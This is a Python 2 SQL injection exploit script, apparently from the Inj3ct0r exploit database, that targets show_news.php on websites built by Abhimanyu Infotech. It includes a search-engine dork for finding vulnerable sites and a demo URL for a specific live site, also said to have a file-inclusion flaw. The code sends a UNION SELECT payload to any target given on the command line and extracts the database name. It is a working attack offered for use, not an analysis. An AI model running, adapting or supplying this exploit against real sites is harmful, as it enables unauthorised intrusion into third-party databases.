#!/usr/bin/env python #-*- coding:utf-8 -*- ''' 1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0 0 _ __ __ __ 1 1 /' \ __ /'__`\ /\ \__ /'__`\ 0 0 /\_, \ ___ /\_\/\_\ \ \ ___\ \ ,_\/\ \/\ \ _ ___ 1 1 \/_/\ \ /' _ `\ \/\ \/_/_\_<_ /'___\ \ \/\ \ \ \ \/\`'__\ 0 0 \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/ 1 1 \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\ 0 0 \/_/\/_/\/_/\ \_\ \/___/ \/____/ \/__/ \/___/ \/_/ 1 1 \ \____/ >> Exploit database separated by exploit 0 0 \/___/ type (local, remote, DoS, etc.) 1 1 1 0 [+] Site : Inj3ct0r.com 0 1 [+] Support e-mail : submit[at]inj3ct0r.com 1 0 0 1 ########################################### 1 0 I'm ZoRLu member from Inj3ct0r Team 1 1 ########################################### 0 0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1 # Title : Abhimanyu Infotech (show_news.php id) SQL Injection Exploit (.py) # Demo : http://soumyampl.com/index1.php?file=show_news.php&id=2 // has a lfi too :)) # Proof : http://img715.imageshack.us/img715/297/sqlo.jpg # Tested : Windows XP Professional sp3 # Author : ZoRLu / http://inj3ct0r.com/author/577 # mail-msn : admin@yildirimordulari.com # Home : http://z0rlu.blogspot.com # Thanks : http://inj3ct0r.com / http://www.exploit-db.com / http://packetstormsecurity.org / http://shell-storm.org # Date : 04/10/2010 # Tesekkur : r0073r, Dr.Ly0n, LifeSteaLeR, Heart_Hunter, Cyber-Zone, Stack, AlpHaNiX, ThE g0bL!N # Lakirdi : Dont Forget My Python Vers: 2.7 # Lakirdi : Gecmiyorum Zaman a.k :/ # Dork : intext:"Designed" "Abhimanyu Infotech" ''' import sys, urllib2, re, os, time if len(sys.argv) < 2: os.system('cls') os.system('clear') os.system('color 2') print "_______________________________________________________________" print " " print " Abhimanyu Infotech SQL Inj Exploit (.py) " print " " print " Coded by ZoRLu " print " " print " Usage: " print " " print " python exploit.py http://site.com/path/ " print " " print "_______________________________________________________________" sys.exit(1) add = "http://" add2 = "/" sitemiz = sys.argv[1] if sitemiz[-1:] != add2: print "\nwhere is it: " + add2 print "okk I will add" time.sleep(2) sitemiz += add2 print "its ok" + " " + sitemiz if sitemiz[:7] != add: print "\nwhere is it: " + add print "okk I will add" time.sleep(2) sitemiz = add + sitemiz print "its ok" + " " + sitemiz vulnfile = "show_news.php" sql = "?id=0000+union+select+1,2,3,concat(0x3a3a3a,database(),0x3a3a3a)" url = sitemiz + vulnfile + sql print "\nExploiting...\n" print "wait three sec.!\n" time.sleep(3) try: veri = urllib2.urlopen(url).read() aliver = re.findall(r":::(.*)([0-9a-fA-F])(.*):::", veri) if len(aliver) > 0: print "database(): " + aliver[0][0] + aliver[0][1] +aliver[0][2] print "\nGood Job Bro!" else: print "Exploit failed..." except urllib2.HTTPError: print "Forbidden Sorry! Server has a Security!"